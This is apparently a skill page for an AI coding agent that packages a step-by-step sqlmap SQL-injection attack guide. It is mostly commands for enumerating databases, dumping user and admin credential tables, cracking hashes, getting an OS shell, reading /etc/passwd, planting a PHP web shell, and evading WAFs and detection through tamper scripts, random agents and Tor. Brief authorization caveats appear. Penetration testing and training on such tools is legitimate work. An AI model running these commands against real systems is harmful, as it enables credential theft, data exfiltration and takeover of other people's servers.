Skip to main content
SQLMap Database Penetration Testing This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
npx skills add zebbern/claude-code-guide --skill "SQLMap Database Penetration Testing" ai ai-agent ai-agent-tools claude claude-ai claude-api
SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
Target URL : Web application URL with injectable parameter (e.g., ?id=1)SQLMap Installation : Pre-installed on Kali Linux or downloaded from GitHubVerified Injection Point : URL parameter confirmed or suspected to be SQL injectableRequest File (Optional) : Burp Suite captured HTTP request for POST-based injectionAuthorization : Written permission for penetration testing activities
Outputs / Deliverables
Database Enumeration : List of all databases on the target serverTable Structure : Complete table names within target databaseColumn Mapping : Column names and data types for each tableExtracted Data : Dumped records including usernames, passwords, and sensitive dataHash Values : Password hashes for offline crackingVulnerability Report : Confirmation of SQL injection type and severity
Core Workflow
1. Identify SQL Injection Vulnerability
Manual Verification
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
Initial SQLMap Scan # Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerate Databases
List All Databases sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
-D: Specify target database name--tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
-T: Specify target table name--columns: Enumerate column names
5. Extract Data
Dump Specific Table Data sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Dump Specific Columns sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Dump Entire Database sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File # Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
Target from Log File # Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
Target Multiple URLs (Bulk File) # Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Target via Google Dorks (Use with Caution) # Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
Quick Reference Commands
Database Enumeration Progression Stage Command List Databases sqlmap -u "URL" --dbs --batchList Tables sqlmap -u "URL" -D dbname --tables --batchList Columns sqlmap -u "URL" -D dbname -T tablename --columns --batchDump Data sqlmap -u "URL" -D dbname -T tablename --dump --batchDump All sqlmap -u "URL" -D dbname --dump-all --batch
Supported Database Management Systems DBMS Support Level MySQL Full Support PostgreSQL Full Support Microsoft SQL Server Full Support Oracle Full Support Microsoft Access Full Support IBM DB2 Full Support SQLite Full Support Firebird Full Support Sybase Full Support SAP MaxDB Full Support HSQLDB Full Support Informix Full Support
SQL Injection Techniques Technique Description Flag Boolean-based blind Infers data from true/false responses --technique=BTime-based blind Uses time delays to infer data --technique=TError-based Extracts data from error messages --technique=EUNION query-based Uses UNION to append results --technique=UStacked queries Executes multiple statements --technique=SOut-of-band Uses DNS or HTTP for exfiltration --technique=Q
Essential Options Option Description -uTarget URL -rLoad HTTP request from file -lParse targets from Burp/WebScarab log -mBulk file with multiple targets -gGoogle dork (use responsibly) --dbsEnumerate databases --tablesEnumerate tables --columnsEnumerate columns --dumpDump table data --dump-allDump all database data -DSpecify database -TSpecify table -CSpecify columns --batchNon-interactive mode --random-agentUse random User-Agent --levelLevel of tests (1-5) --riskRisk of tests (1-3)
Constraints and Limitations
Operational Boundaries
Requires valid injectable parameter in target URL
Network connectivity to target database server required
Large database dumps may take significant time
Some WAF/IPS systems may block SQLMap traffic
Time-based attacks significantly slower than error-based
Performance Considerations
Use --threads to speed up enumeration (default: 1)
Limit dumps with --start and --stop for large tables
Use --technique to specify faster injection method if known
Legal Requirements
Only test systems with explicit written authorization
Google dork attacks against unknown sites are illegal
Document all testing activities and findings
Respect scope limitations defined in engagement rules
Detection Risk
SQLMap generates significant log entries
Use --random-agent to vary User-Agent header
Consider --delay to avoid triggering rate limits
Proxy through Tor with --tor for anonymity (authorized tests only)
Examples
Example 1: Complete Database Enumeration # Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
Example 2: POST Request Injection # Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
Example 3: Bulk Target Scanning # Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
Example 4: Aggressive Testing # High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
Example 5: Extract Specific Credentials # Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
Example 6: OS Shell Access (Advanced) # Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
Troubleshooting
Issue: "Parameter does not seem injectable" Cause : SQLMap cannot find injection point
Solution :
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
Issue: Target Behind WAF/Firewall Cause : Web Application Firewall blocking requests
Solution :
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
Issue: Connection Timeout Cause : Network issues or slow target
Solution :
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
Issue: Time-Based Attacks Too Slow Cause : Default time delay too conservative
Solution :
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
Issue: Cannot Dump Large Tables Cause : Table has too many records
Solution :
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
Issue: Session Drops During Long Scan Cause : Session timeout or connection reset
Solution :
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
CLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
CLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).
